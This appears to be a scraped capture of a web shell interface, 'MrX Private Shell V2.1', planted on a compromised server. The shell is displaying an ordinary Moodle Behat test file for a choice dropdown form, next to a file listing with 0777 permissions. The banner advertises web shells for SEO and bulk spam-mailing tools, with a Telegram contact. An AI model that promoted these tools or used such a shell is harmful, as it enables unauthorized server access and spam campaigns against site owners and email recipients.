__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core
Feature: Choice dropdown form behat test
  In order to use choicelist in quickforms
  As an admin
  I need to be able to test it via behat

  Background:
    Given I log in as "admin"
    And I am on fixture page "/lib/form/tests/behat/fixtures/field_choicedropdown_testpage.php"

  Scenario: Set some value into choice dropdown
    When I set the field "Basic choice dropdown" to "Text option 2"
    And I click on "Send form" "button"
    Then I should see "example0: option2" in the "submitted_data" "region"

  @javascript
  Scenario: Set some value into choice dropdown with javascript enabled
    When I set the field "Basic choice dropdown" to "Text option 2"
    And I click on "Send form" "button"
    Then I should see "example0: option2" in the "submitted_data" "region"

  @javascript
  Scenario: Disable choice dropdown via javascript
    When I click on "Check to disable the first choice dropdown field." "checkbox"
    Then the "Disable if example" "field" should be disabled

  @javascript
  Scenario: Hide choice dropdown via javascript
    Given I should see "Hide if example"
    When I click on "Check to hide the first choice dropdown field." "checkbox"
    Then I should not see "Hide if example"

  @javascript
  Scenario: Use a choice dropdown to disable and hide other fields
    Given I should not see "Hide if element"
    And the "Disabled if element" "field" should be disabled
    When I set the field "Control choice dropdown" to "Show or enable subelements"
    Then I should see "Hide if element"
    And the "Disabled if element" "field" should be enabled
    And I set the field "Control choice dropdown" to "Hide or disable subelements"
    And I should not see "Hide if element"
    And the "Disabled if element" "field" should be disabled

Filemanager

Name Type Size Permission Actions
fixtures Folder 0777
autocomplete.feature File 3.93 KB 0777
behat_core_form.php File 3.29 KB 0777
choicedropdown.feature File 1.74 KB 0777
dates.feature File 4.71 KB 0777
disabledif.feature File 1.68 KB 0777
graderescale_for_database_pointscale.feature File 2.2 KB 0777
graderescale_for_forum_pointscale.feature File 1.82 KB 0777
graderescale_for_glossary_pointscale.feature File 1.99 KB 0777
graderescale_for_lesson_pointscale.feature File 1.83 KB 0777
hideif.feature File 1.81 KB 0777
modgrade_validation.feature File 7.05 KB 0777
repeat_defaults.feature File 2.09 KB 0777
Filemanager